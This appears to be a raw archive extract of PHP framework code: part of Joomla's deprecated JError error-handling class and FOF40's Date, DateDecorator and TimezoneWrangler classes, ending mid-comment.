@return void * * @since 1.6 * @deprecated 4.0 */ public static function addToStack(JException $e) { JLog::add('JError::addToStack() is deprecated.', JLog::WARNING, 'deprecated'); self::$stack[] = &$e; } /** * Create a new JException object given the passed arguments * * @param integer $level The error level - use any of PHP's own error levels for * this: E_ERROR, E_WARNING, E_NOTICE, E_USER_ERROR, * E_USER_WARNING, E_USER_NOTICE. * @param string $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * @param mixed $info Optional: Additional error information (usually only * developer-relevant information that the user should never see, * like a database DSN). * @param boolean $backtrace Add a stack backtrace to the exception. * * @return JException * * @since 1.5 * @deprecated 4.0 * @see JException */ public static function raise($level, $code, $msg, $info = null, $backtrace = false) { JLog::add('JError::raise() is deprecated.', JLog::WARNING, 'deprecated'); // Build error object $exception = new JException($msg, $code, $level, $info, $backtrace); return self::throwError($exception); } /** * Throw an error * * @param JException &$exception An exception to throw. * * @return JException A reference to the handled JException object * * @since 1.6 * @deprecated 4.0 Just throw an Exception * @see JException */ public static function throwError(&$exception) { JLog::add('JError::throwError() is deprecated.', JLog::WARNING, 'deprecated'); static $thrown = false; // If thrown is hit again, we've come back to JError in the middle of throwing another JError, so die! if ($thrown) { self::handleEcho($exception, array()); // Inifite loop. jexit(); } $thrown = true; $level = $exception->get('level'); // See what to do with this kind of error $handler = self::getErrorHandling($level); $function = 'handle' . ucfirst($handler['mode']); if (is_callable(array('JError', $function))) { $reference = call_user_func_array(array('JError', $function), array(&$exception, isset($handler['options']) ? $handler['options'] : array())); } else { // This is required to prevent a very unhelpful white-screen-of-death jexit( 'JError::raise -> Static method JError::' . $function . ' does not exist. Contact a developer to debug' . '<br /><strong>Error was</strong> <br />' . $exception->getMessage() ); } // We don't need to store the error, since JException already does that for us! // Remove loop check $thrown = false; return $reference; } /** * Wrapper method for the raise() method with predefined error level of E_ERROR and backtrace set to true. * * @param string $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * @param mixed $info Optional: Additional error information (usually only * developer-relevant information that the user should * never see, like a database DSN). * * @return JException $error The thrown JException object * * @since 1.5 * @deprecated 4.0 Just throw an Exception * @see JError::raise() */ public static function raiseError($code, $msg, $info = null) { JLog::add('JError::raiseError() is deprecated.', JLog::WARNING, 'deprecated'); return self::raise(E_ERROR, $code, $msg, $info, true); } /** * Wrapper method for the {@link raise()} method with predefined error level of E_WARNING and backtrace set to false. * * @param string $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * @param mixed $info Optional: Additional error information (usually only * developer-relevant information that * the user should never see, like a database DSN). * * @return JException $error The thrown JException object * * @since 1.5 * @deprecated 4.0 Use \Joomla\CMS\Factory::getApplication()->enqueueMessage($msg, 'warning') when wou want to notify the UI * @see JError::raise() */ public static function raiseWarning($code, $msg, $info = null) { JLog::add('JError::raiseWarning() is deprecated.', JLog::WARNING, 'deprecated'); return self::raise(E_WARNING, $code, $msg, $info); } /** * Wrapper method for the {@link raise()} method with predefined error level of E_NOTICE and backtrace set to false. * * @param string $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * @param mixed $info Optional: Additional error information (usually only * developer-relevant information that the user * should never see, like a database DSN). * * @return JException $error The thrown JException object * * @since 1.5 * @deprecated 4.0 Use \Joomla\CMS\Factory::getApplication()->enqueueMessage($msg, 'notice') when wou want to notify the UI * @see JError::raise() */ public static function raiseNotice($code, $msg, $info = null) { JLog::add('JError::raiseNotice() is deprecated.', JLog::WARNING, 'deprecated'); return self::raise(E_NOTICE, $code, $msg, $info); } /** * Method to get the current error handler settings for a specified error level. * * @param integer $level The error level to retrieve. This can be any of PHP's * own error levels, e.g. E_ALL, E_NOTICE... * * @return array All error handling details * * @since 1.5 * @deprecated 4.0 */ public static function getErrorHandling($level) { JLog::add('JError::getErrorHandling() is deprecated.', JLog::WARNING, 'deprecated'); return self::$handlers[$level]; } /** * Method to set the way the JError will handle different error levels. Use this if you want to override the default settings. * * Error handling modes: * - ignore * - echo * - verbose * - die * - message * - log * - callback * * You may also set the error handling for several modes at once using PHP's bit operations. * Examples: * - E_ALL = Set the handling for all levels * - E_ERROR | E_WARNING = Set the handling for errors and warnings * - E_ALL ^ E_ERROR = Set the handling for all levels except errors * * @param integer $level The error level for which to set the error handling * @param string $mode The mode to use for the error handling. * @param mixed $options Optional: Any options needed for the given mode. * * @return boolean|JException True on success or a JException object if failed. * * @since 1.5 * @deprecated 4.0 */ public static function setErrorHandling($level, $mode, $options = null) { JLog::add('JError::setErrorHandling() is deprecated.', JLog::WARNING, 'deprecated'); $levels = self::$levels; $function = 'handle' . ucfirst($mode); if (!is_callable(array('JError', $function))) { return self::raiseError(E_ERROR, 'JError:' . JERROR_ILLEGAL_MODE, 'Error Handling mode is not known', 'Mode: ' . $mode . ' is not implemented.'); } foreach ($levels as $eLevel => $eTitle) { if (($level & $eLevel) !== $eLevel) { continue; } // Set callback options if ($mode === 'callback') { if (!is_array($options)) { return self::raiseError(E_ERROR, 'JError:' . JERROR_ILLEGAL_OPTIONS, 'Options for callback not valid'); } if (!is_callable($options)) { $tmp = array('GLOBAL'); if (is_array($options)) { $tmp[0] = $options[0]; $tmp[1] = $options[1]; } else { $tmp[1] = $options; } return self::raiseError( E_ERROR, 'JError:' . JERROR_CALLBACK_NOT_CALLABLE, 'Function is not callable', 'Function:' . $tmp[1] . ' scope ' . $tmp[0] . '.' ); } } // Save settings self::$handlers[$eLevel] = array('mode' => $mode); if ($options != null) { self::$handlers[$eLevel]['options'] = $options; } } return true; } /** * Method that attaches the error handler to JError * * @return void * * @since 1.5 * @deprecated 4.0 * @see set_error_handler */ public static function attachHandler() { JLog::add('JError::getErrorHandling() is deprecated.', JLog::WARNING, 'deprecated'); set_error_handler(array('JError', 'customErrorHandler')); } /** * Method that detaches the error handler from JError * * @return void * * @since 1.5 * @deprecated 4.0 * @see restore_error_handler */ public static function detachHandler() { JLog::add('JError::detachHandler() is deprecated.', JLog::WARNING, 'deprecated'); restore_error_handler(); } /** * Method to register a new error level for handling errors * * This allows you to add custom error levels to the built-in * - E_NOTICE * - E_WARNING * - E_NOTICE * * @param integer $level Error level to register * @param string $name Human readable name for the error level * @param string $handler Error handler to set for the new error level [optional] * * @return boolean True on success; false if the level already has been registered * * @since 1.5 * @deprecated 4.0 */ public static function registerErrorLevel($level, $name, $handler = 'ignore') { JLog::add('JError::registerErrorLevel() is deprecated.', JLog::WARNING, 'deprecated'); if (isset(self::$levels[$level])) { return false; } self::$levels[$level] = $name; self::setErrorHandling($level, $handler); return true; } /** * Translate an error level integer to a human readable string * e.g. E_ERROR will be translated to 'Error' * * @param integer $level Error level to translate * * @return string|boolean Human readable error level name or boolean false if it doesn't exist * * @since 1.5 * @deprecated 4.0 */ public static function translateErrorLevel($level) { JLog::add('JError::translateErrorLevel() is deprecated.', JLog::WARNING, 'deprecated'); if (isset(self::$levels[$level])) { return self::$levels[$level]; } return false; } /** * Ignore error handler * - Ignores the error * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return JException The exception object * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleIgnore(&$error, $options) { JLog::add('JError::handleIgnore() is deprecated.', JLog::WARNING, 'deprecated'); return $error; } /** * Echo error handler * - Echos the error message to output * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return JException The exception object * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleEcho(&$error, $options) { JLog::add('JError::handleEcho() is deprecated.', JLog::WARNING, 'deprecated'); $level_human = self::translateErrorLevel($error->get('level')); // If system debug is set, then output some more information. if (JDEBUG) { $backtrace = $error->getTrace(); $trace = ''; for ($i = count($backtrace) - 1; $i >= 0; $i--) { if (isset($backtrace[$i]['class'])) { $trace .= sprintf("\n%s %s %s()", $backtrace[$i]['class'], $backtrace[$i]['type'], $backtrace[$i]['function']); } else { $trace .= sprintf("\n%s()", $backtrace[$i]['function']); } if (isset($backtrace[$i]['file'])) { $trace .= sprintf(' @ %s:%d', $backtrace[$i]['file'], $backtrace[$i]['line']); } } } if (isset($_SERVER['HTTP_HOST'])) { // Output as html echo "<br /><b>jos-$level_human</b>: " . $error->get('message') . "<br />\n" . (JDEBUG ? nl2br($trace) : ''); } else { // Output as simple text if (defined('STDERR')) { fwrite(STDERR, "J$level_human: " . $error->get('message') . "\n"); if (JDEBUG) { fwrite(STDERR, $trace); } } else { echo "J$level_human: " . $error->get('message') . "\n"; if (JDEBUG) { echo $trace; } } } return $error; } /** * Verbose error handler * - Echos the error message to output as well as related info * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return JException The exception object * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleVerbose(&$error, $options) { JLog::add('JError::handleVerbose() is deprecated.', JLog::WARNING, 'deprecated'); $level_human = self::translateErrorLevel($error->get('level')); $info = $error->get('info'); if (isset($_SERVER['HTTP_HOST'])) { // Output as html echo "<br /><b>J$level_human</b>: " . $error->get('message') . "<br />\n"; if ($info != null) { echo '   ' . $info . "<br />\n"; } echo $error->getBacktrace(true); } else { // Output as simple text echo "J$level_human: " . $error->get('message') . "\n"; if ($info != null) { echo "\t" . $info . "\n"; } } return $error; } /** * Die error handler * - Echos the error message to output and then dies * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return void Calls die() * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleDie(&$error, $options) { JLog::add('JError::handleDie() is deprecated.', JLog::WARNING, 'deprecated'); $level_human = self::translateErrorLevel($error->get('level')); if (isset($_SERVER['HTTP_HOST'])) { // Output as html jexit("<br /><b>J$level_human</b>: " . $error->get('message') . "<br />\n"); } else { // Output as simple text if (defined('STDERR')) { fwrite(STDERR, "J$level_human: " . $error->get('message') . "\n"); jexit(); } else { jexit("J$level_human: " . $error->get('message') . "\n"); } } return $error; } /** * Message error handler * Enqueues the error message into the system queue * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return JException The exception object * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleMessage(&$error, $options) { JLog::add('JError::hanleMessage() is deprecated.', JLog::WARNING, 'deprecated'); $appl = JFactory::getApplication(); $type = ($error->get('level') == E_NOTICE) ? 'notice' : 'error'; $appl->enqueueMessage($error->get('message'), $type); return $error; } /** * Log error handler * Logs the error message to a system log file * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return JException The exception object * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleLog(&$error, $options) { JLog::add('JError::handleLog() is deprecated.', JLog::WARNING, 'deprecated'); static $log; if ($log == null) { $options['text_file'] = date('Y-m-d') . '.error.log'; $options['format'] = "{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}"; JLog::addLogger($options, JLog::ALL, array('error')); } $entry = new JLogEntry( str_replace(array("\r", "\n"), array('', '\\n'), $error->get('message')), $error->get('level'), 'error' ); $entry->code = $error->get('code'); JLog::add($entry); return $error; } /** * Callback error handler * - Send the error object to a callback method for error handling * * @param JException &$error Exception object to handle * @param array $options Handler options * * @return JException The exception object * * @since 1.5 * @deprecated 4.0 * @see JError::raise() */ public static function handleCallback(&$error, $options) { JLog::add('JError::handleCallback() is deprecated.', JLog::WARNING, 'deprecated'); return call_user_func_array($options, array(&$error)); } /** * Display a custom error page and exit gracefully * * @param JException $error Exception object * * @return void * * @since 1.5 * @deprecated 4.0 Use \Joomla\CMS\Exception\ExceptionHandler::render() instead */ public static function customErrorPage($error) { JLog::add('JError::customErrorPage() is deprecated, use JErrorPage::render() instead.', JLog::WARNING, 'deprecated'); \Joomla\CMS\Exception\ExceptionHandler::render($error); } /** * Display a message to the user * * @param integer $level The error level - use any of PHP's own error levels * for this: E_ERROR, E_WARNING, E_NOTICE, E_USER_ERROR, * E_USER_WARNING, E_USER_NOTICE. * @param string $msg Error message, shown to user if need be. * * @return void * * @since 1.5 * @deprecated 4.0 Throw an Exception or enqueue the message to the application, eg. \Joomla\CMS\Factory::getApplication()->enqueueMessage($msg) */ public static function customErrorHandler($level, $msg) { JLog::add('JError::customErrorHandler() is deprecated.', JLog::WARNING, 'deprecated'); self::raise($level, '', $msg); } /** * Render the backtrace * * @param Exception $error The error * * @return string Contents of the backtrace * * @since 1.6 * @deprecated 4.0 Use JLayoutHelper::render('joomla.error.backtrace', array('backtrace' => $error->getTrace())) instead */ public static function renderBacktrace($error) { JLog::add('JError::renderBacktrace() is deprecated.', JLog::WARNING, 'deprecated'); return \Joomla\CMS\Layout\LayoutHelper::render('joomla.error.backtrace', array('backtrace' => $error->getTrace())); } } PK���\_�)Z��fof40/Date/DateDecorator.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Date; defined('_JEXEC') || die; use DateTime; use DateTimeZone; use JDatabaseDriver; /** * This decorator will get any DateTime descendant and turn it into a FOF40\Date\Date compatible class. If the methods * specific to Date are available they will be used. Otherwise a new Date object will be spun from the information * in the decorated DateTime object and the results of a call to its method will be returned. */ class DateDecorator extends Date { /** * The decorated object * * @param string $date String in a format accepted by strtotime(), defaults to "now". * @param string|DateTimeZone $tz Time zone to be used for the date. Might be a string or a DateTimeZone * object. * * @var DateTime */ protected $decorated; public function __construct(string $date = 'now', $tz = null) { $this->decorated = (is_object($date) && ($date instanceof DateTime)) ? $date : new Date($date, $tz); $timestamp = $this->decorated->toISO8601(true); parent::__construct($timestamp); $this->setTimezone($this->decorated->getTimezone()); } public static function getInstance(string $date = 'now', $tz = null): self { $coreObject = new Date($date, $tz); return new DateDecorator($coreObject); } /** * Magic method to access properties of the date given by class to the format method. * * @param string $name The name of the property. * * @return mixed A value if the property name is valid, null otherwise. */ public function __get(string $name) { return $this->decorated->$name; } // Note to self: ignore phpStorm; we must NOT use a typehint for $interval public function __call(string $name, array $arguments = []) { if (method_exists($this->decorated, $name)) { return call_user_func_array([$this->decorated, $name], $arguments); } throw new \InvalidArgumentException("Date object does not have a $name method"); } // Note to self: ignore phpStorm; we must NOT use a typehint for $interval public function sub($interval) { // Note to self: ignore phpStorm; we must NOT use a typehint for $interval return $this->decorated->sub($interval); } public function add($interval) { // Note to self: ignore phpStorm; we must NOT use a typehint for $interval return $this->decorated->add($interval); } public function modify($modify) { return $this->decorated->modify($modify); } public function __toString(): string { return (string) $this->decorated; } public function dayToString(int $day, bool $abbr = false): string { return $this->decorated->dayToString($day, $abbr); } public function calendar(string $format, bool $local = false, bool $translate = true): string { return $this->decorated->calendar($format, $local, $translate); } public function format($format, bool $local = false, bool $translate = true): string { if (($this->decorated instanceof Date) || ($this->decorated instanceof \Joomla\CMS\Date\Date)) { return $this->decorated->format($format, $local, $translate); } return $this->decorated->format($format); } public function getOffsetFromGmt(bool $hours = false): float { return $this->decorated->getOffsetFromGMT($hours); } public function monthToString(int $month, bool $abbr = false) { return $this->decorated->monthToString($month, $abbr); } public function setTimezone($tz): Date { return $this->decorated->setTimezone($tz); } public function toISO8601(bool $local = false): string { return $this->decorated->toISO8601($local); } public function toSql(bool $local = false, JDatabaseDriver $db = null): string { return $this->decorated->toSql($local, $db); } public function toRFC822(bool $local = false): string { return $this->decorated->toRFC822($local); } public function toUnix(): int { return $this->decorated->toUnix(); } } PK���\ߜ�(�6�6fof40/Date/Date.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Date; defined('_JEXEC') || die; use DateInterval; use DateTime; use DateTimeZone; use Exception; use JDatabaseDriver; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Language\Text; /** * The Date class is a fork of Joomla's Date. We had to fork that code in April 2017 when Joomla! 7.0 was released with * an untested change that completely broke date handling on PHP 7.0 and earlier versions. Since we can no longer trust * Joomla's core date and time handling we are providing our own, stable code. * * Date is a class that stores a date and provides logic to manipulate and render that date in a variety of formats. * * @method Date|bool add(DateInterval $interval) Adds an amount of days, months, years, hours, minutes and seconds * to a Date object. * @method Date|bool sub(DateInterval $interval) Subtracts an amount of days, months, years, hours, minutes and * seconds from a Date object. * @method Date|bool modify($modify) Alter the timestamp of this object by incre-/decrementing in a * format accepted by strtotime(). * * @property-read string $daysinmonth t - Number of days in the given month. * @property-read string $dayofweek N - ISO-8601 numeric representation of the day of the week. * @property-read string $dayofyear z - The day of the year (starting from 0). * @property-read boolean $isleapyear L - Whether it's a leap year. * @property-read string $day d - Day of the month, 2 digits with leading zeros. * @property-read string $hour H - 24-hour format of an hour with leading zeros. * @property-read string $minute i - Minutes with leading zeros. * @property-read string $second s - Seconds with leading zeros. * @property-read string $microsecond u - Microseconds with leading zeros. * @property-read string $month m - Numeric representation of a month, with leading zeros. * @property-read string $ordinal S - English ordinal suffix for the day of the month, 2 characters. * @property-read string $week W - ISO-8601 week number of year, weeks starting on Monday. * @property-read string $year Y - A full numeric representation of a year, 4 digits. */ class Date extends DateTime { public const DAY_ABBR = "\x021\x03"; public const DAY_NAME = "\x022\x03"; public const MONTH_ABBR = "\x023\x03"; public const MONTH_NAME = "\x024\x03"; /** * The format string to be applied when using the __toString() magic method. * * @var string */ public static $format = 'Y-m-d H:i:s'; /** * Placeholder for a DateTimeZone object with GMT as the time zone. * * @var object */ protected static $gmt; /** * Placeholder for a DateTimeZone object with the default server * time zone as the time zone. * * @var object */ protected static $stz; /** * The DateTimeZone object for usage in rending dates as strings. * * @var DateTimeZone */ protected $tz; /** * Constructor. * * @param string|null $date String in a format accepted by strtotime(), defaults to "now". * @param string|DateTimeZone $tz Time zone to be used for the date. Might be a string or a DateTimeZone * object. * * @throws Exception */ public function __construct(?string $date = 'now', $tz = null) { // Create the base GMT and server time zone objects. if (empty(self::$gmt) || empty(self::$stz)) { self::$gmt = new DateTimeZone('GMT'); self::$stz = new DateTimeZone(@date_default_timezone_get()); } // If the time zone object is not set, attempt to build it. if (!($tz instanceof DateTimeZone)) { if ($tz === null) { $tz = self::$gmt; } elseif (is_string($tz)) { $tz = new DateTimeZone($tz); } } // On PHP 7.1 and later use an integer timestamp, without microseconds, to preserve backwards compatibility. // See http://php.net/manual/en/migration71.incompatible.php#migration71.incompatible.datetime-microseconds if (($date === 'now') || empty($date)) { $date = time(); } // If the date is numeric assume a unix timestamp and convert it. date_default_timezone_set('UTC'); $date = is_numeric($date) ? date('c', $date) : $date; // Call the DateTime constructor. parent::__construct($date, $tz); // Reset the timezone for 3rd party libraries/extension that does not use Date date_default_timezone_set(self::$stz->getName()); // Set the timezone object for access later. $this->tz = $tz; } /** * Proxy for new Date(). * * @param string $date String in a format accepted by strtotime(), defaults to "now". * @param string|DateTimeZone $tz Time zone to be used for the date. * * @return Date * @throws Exception */ public static function getInstance(string $date = 'now', $tz = null) { return new Date($date, $tz); } /** * Magic method to access properties of the date given by class to the format method. * * @param string $name The name of the property. * * @return mixed A value if the property name is valid, null otherwise. */ public function __get(string $name) { $value = null; switch ($name) { case 'daysinmonth': $value = $this->format('t', true); break; case 'dayofweek': $value = $this->format('N', true); break; case 'dayofyear': $value = $this->format('z', true); break; case 'isleapyear': $value = (boolean) $this->format('L', true); break; case 'day': $value = $this->format('d', true); break; case 'hour': $value = $this->format('H', true); break; case 'minute': $value = $this->format('i', true); break; case 'second': $value = $this->format('s', true); break; case 'month': $value = $this->format('m', true); break; case 'ordinal': $value = $this->format('S', true); break; case 'week': $value = $this->format('W', true); break; case 'year': $value = $this->format('Y', true); break; default: $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE ); } return $value; } /** * Magic method to render the date object in the format specified in the public * static member Date::$format. * * @return string The date as a formatted string. */ public function __toString(): string { return (string) parent::format(self::$format); } /** * Translates day of week number to a string. * * @param integer $day The numeric day of the week. * @param boolean $abbr Return the abbreviated day string? * * @return string The day of the week. */ public function dayToString(int $day, bool $abbr = false): string { switch ($day) { case 0: default: return $abbr ? Text::_('SUN') : Text::_('SUNDAY'); case 1: return $abbr ? Text::_('MON') : Text::_('MONDAY'); case 2: return $abbr ? Text::_('TUE') : Text::_('TUESDAY'); case 3: return $abbr ? Text::_('WED') : Text::_('WEDNESDAY'); case 4: return $abbr ? Text::_('THU') : Text::_('THURSDAY'); case 5: return $abbr ? Text::_('FRI') : Text::_('FRIDAY'); case 6: return $abbr ? Text::_('SAT') : Text::_('SATURDAY'); } } /** * Gets the date as a formatted string in a local calendar. * * @param string $format The date format specification string (see {@link PHP_MANUAL#date}) * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * @param boolean $translate True to translate localised strings * * @return string The date string in the specified format format. */ public function calendar(string $format, bool $local = false, bool $translate = true): string { return $this->format($format, $local, $translate); } /** * Gets the date as a formatted string. * * @param string $format The date format specification string (see {@link PHP_MANUAL#date}) * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * @param boolean $translate True to translate localised strings * * @return string The date string in the specified format format. */ #[\ReturnTypeWillChange] public function format($format, bool $local = false, bool $translate = true): string { if ($translate) { // Do string replacements for date format options that can be translated. $format = preg_replace('/(^|[^\\\])D/', "\\1" . self::DAY_ABBR, $format); $format = preg_replace('/(^|[^\\\])l/', "\\1" . self::DAY_NAME, $format); $format = preg_replace('/(^|[^\\\])M/', "\\1" . self::MONTH_ABBR, $format); $format = preg_replace('/(^|[^\\\])F/', "\\1" . self::MONTH_NAME, $format); } // If the returned time should not be local use GMT. if ($local == false && !empty(self::$gmt)) { parent::setTimezone(self::$gmt); } // Format the date. $return = parent::format($format); if ($translate) { // Manually modify the month and day strings in the formatted time. if (strpos($return, self::DAY_ABBR) !== false) { $return = str_replace(self::DAY_ABBR, $this->dayToString(parent::format('w'), true), $return); } if (strpos($return, self::DAY_NAME) !== false) { $return = str_replace(self::DAY_NAME, $this->dayToString(parent::format('w')), $return); } if (strpos($return, self::MONTH_ABBR) !== false) { $return = str_replace(self::MONTH_ABBR, $this->monthToString(parent::format('n'), true), $return); } if (strpos($return, self::MONTH_NAME) !== false) { $return = str_replace(self::MONTH_NAME, $this->monthToString(parent::format('n')), $return); } } if ($local == false && !empty($this->tz)) { parent::setTimezone($this->tz); } return $return; } /** * Get the time offset from GMT in hours or seconds. * * @param boolean $hours True to return the value in hours. * * @return float The time offset from GMT either in hours or in seconds. */ public function getOffsetFromGmt(bool $hours = false): float { return (float) $hours ? ($this->tz->getOffset($this) / 3600) : $this->tz->getOffset($this); } /** * Translates month number to a string. * * @param integer $month The numeric month of the year. * @param boolean $abbr If true, return the abbreviated month string * * @return string The month of the year. */ public function monthToString(int $month, bool $abbr = false) { switch ($month) { case 1: default: return $abbr ? Text::_('JANUARY_SHORT') : Text::_('JANUARY'); case 2: return $abbr ? Text::_('FEBRUARY_SHORT') : Text::_('FEBRUARY'); case 3: return $abbr ? Text::_('MARCH_SHORT') : Text::_('MARCH'); case 4: return $abbr ? Text::_('APRIL_SHORT') : Text::_('APRIL'); case 5: return $abbr ? Text::_('MAY_SHORT') : Text::_('MAY'); case 6: return $abbr ? Text::_('JUNE_SHORT') : Text::_('JUNE'); case 7: return $abbr ? Text::_('JULY_SHORT') : Text::_('JULY'); case 8: return $abbr ? Text::_('AUGUST_SHORT') : Text::_('AUGUST'); case 9: return $abbr ? Text::_('SEPTEMBER_SHORT') : Text::_('SEPTEMBER'); case 10: return $abbr ? Text::_('OCTOBER_SHORT') : Text::_('OCTOBER'); case 11: return $abbr ? Text::_('NOVEMBER_SHORT') : Text::_('NOVEMBER'); case 12: return $abbr ? Text::_('DECEMBER_SHORT') : Text::_('DECEMBER'); } } /** * Method to wrap the setTimezone() function and set the internal time zone object. * * @param DateTimeZone $tz The new DateTimeZone object. * * @return Date * * @note This method can't be type hinted due to a PHP bug: https://bugs.php.net/bug.php?id=61483 */ public function setTimezone($tz): self { $this->tz = $tz; date_timezone_set($this, $tz); return $this; } /** * Gets the date as an ISO 8601 string. IETF RFC 3339 defines the ISO 8601 format * and it can be found at the IETF Web site. * * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * * @return string The date string in ISO 8601 format. * * @link http://www.ietf.org/rfc/rfc3339.txt */ public function toISO8601(bool $local = false): string { return $this->format(DateTime::RFC3339, $local, false); } /** * Gets the date as an SQL datetime string. * * @param boolean $local True to return the date string in the local time zone, false to return it in * GMT. * @param JDatabaseDriver $db The database driver or null to use Factory::getDbo() * * @return string The date string in SQL datetime format. * * @link http://dev.mysql.com/doc/refman/5.0/en/datetime.html */ public function toSql(bool $local = false, JDatabaseDriver $db = null): string { if ($db === null) { $db = JoomlaFactory::getDbo(); } return $this->format($db->getDateFormat(), $local, false); } /** * Gets the date as an RFC 822 string. IETF RFC 2822 supersedes RFC 822 and its definition * can be found at the IETF Web site. * * @param boolean $local True to return the date string in the local time zone, false to return it in GMT. * * @return string The date string in RFC 822 format. * * @link http://www.ietf.org/rfc/rfc2822.txt */ public function toRFC822(bool $local = false): string { return $this->format(DateTime::RFC2822, $local, false); } /** * Gets the date as UNIX time stamp. * * @return integer The date as a UNIX timestamp. */ public function toUnix(): int { return (int) parent::format('U'); } } PK���\KCa��&�&fof40/Date/TimezoneWrangler.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Date; defined('_JEXEC') || die; use DateTime; use DateTimeZone; use Exception; use FOF40\Container\Container; use Joomla\CMS\User\User; /** * A helper class to wrangle timezones, as used by Joomla!. * * @package FOF40\Utils * * @since 3.1.3 */ class TimezoneWrangler { /** * The default timestamp format string to use when one is not provided * * @var string */ protected $defaultFormat = 'Y-m-d H:i:s T'; /** * When set, this timezone will be used instead of the Joomla! applicable timezone for the user. * * @var DateTimeZone */ protected $forcedTimezone; /** * Cache of user IDs to applicable timezones * * @var array */ protected $userToTimezone = []; /** * The component container for which we are created * * @var Container */ protected $container; public function __construct(Container $container) { $this->container = $container; } /** * Get the default timestamp format to use when one is not provided * * @return string */ public function getDefaultFormat(): string { return $this->defaultFormat; } /** * Set the default timestamp format to use when one is not provided * * @param string $defaultFormat * * @return void */ public function setDefaultFormat(string $defaultFormat): void { $this->defaultFormat = $defaultFormat; } /** * Returns the forced timezone which is used instead of the applicable Joomla! timezone. * * @return DateTimeZone */ public function getForcedTimezone(): DateTimeZone { return $this->forcedTimezone; } /** * Sets the forced timezone which is used instead of the applicable Joomla! timezone. If the new timezone is * different than the existing one we will also reset the user to timezone cache. * * @param DateTimeZone|string $forcedTimezone * * @return void */ public function setForcedTimezone($forcedTimezone): void { // Are we unsetting the forced TZ? if (empty($forcedTimezone)) { $this->forcedTimezone = null; $this->resetCache(); return; } // If the new TZ is a string we have to create an object if (is_string($forcedTimezone)) { $forcedTimezone = new DateTimeZone($forcedTimezone); } $oldTZ = ''; if (is_object($this->forcedTimezone) && ($this->forcedTimezone instanceof DateTimeZone)) { $oldTZ = $this->forcedTimezone->getName(); } if ($oldTZ === $forcedTimezone->getName()) { return; } $this->forcedTimezone = $forcedTimezone; $this->resetCache(); } /** * Reset the user to timezone cache. This is done automatically every time you change the forced timezone. */ public function resetCache(): void { $this->userToTimezone = []; } /** * Get the applicable timezone for a user. If the user is not a guest and they have a timezone set up in their * profile it will be used. Otherwise we fall back to the Server Timezone as set up in Global Configuration. If that * fails, we use GMT. However, if you have used a non-blank forced timezone that will be used instead, circumventing * this calculation. Therefore the returned timezone is one of the following, by descending order of priority: * - Forced timezone * - User's timezone (explicitly set in their user profile) * - Server Timezone (from Joomla's Global Configuration) * - GMT * * @param User|null $user * * @return DateTimeZone */ public function getApplicableTimezone(?User $user = null): DateTimeZone { // If we have a forced timezone use it instead of trying to figure anything out. if (is_object($this->forcedTimezone)) { return $this->forcedTimezone; } // No user? Get the current user. if (is_null($user)) { $user = $this->container->platform->getUser(); } // If there is a cached timezone return that instead. if (isset($this->userToTimezone[$user->id])) { return $this->userToTimezone[$user->id]; } // Prefer the user timezone if it's set. if (!$user->guest) { $tz = $user->getParam('timezone', null); if (!empty($tz)) { try { $this->userToTimezone[$user->id] = new DateTimeZone($tz); return $this->userToTimezone[$user->id]; } catch (Exception $e) { } } } // Get the Server Timezone from Global Configuration with a fallback to GMT $tz = $this->container->platform->getConfig()->get('offset', 'GMT'); try { $this->userToTimezone[$user->id] = new DateTimeZone($tz); } catch (Exception $e) { // If an invalid timezone was set we get to use GMT $this->userToTimezone[$user->id] = new DateTimeZone('GMT'); } return $this->userToTimezone[$user->id]; } /** * Returns a FOF Date object with its timezone set to the user's applicable timezone. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and Joomla Date), an integer (UNIX timestamp) or a date string. * If no timezone is specified in a date string we assume it's GMT. * * @param User $user Applicable user for timezone calculation. Null = current user. * @param mixed $time Source time. Leave blank for current date/time. * * @return Date */ public function getLocalDateTime(?User $user, $time = null): Date { $time = empty($time) ? 'now' : $time; $date = new Date($time); $tz = $this->getApplicableTimezone($user); $date->setTimezone($tz); return $date; } /** * Returns a FOF Date object with its timezone set to GMT. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and Joomla Date), an integer (UNIX timestamp) or a date string. * If no timezone is specified in a date string we assume it's the user's applicable timezone. * * @param User $user * @param mixed $time * * @return Date */ public function getGMTDateTime(?User $user, $time): Date { $time = empty($time) ? 'now' : $time; $tz = $this->getApplicableTimezone($user); $date = new Date($time, $tz); $gmtTimezone = new DateTimeZone('GMT'); $date->setTimezone($gmtTimezone); return $date; } /** * Returns a formatted date string in the user's applicable timezone. * * If no format is specified we will use $defaultFormat. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and Joomla Date), an integer (UNIX timestamp) or a date string. * If no timezone is 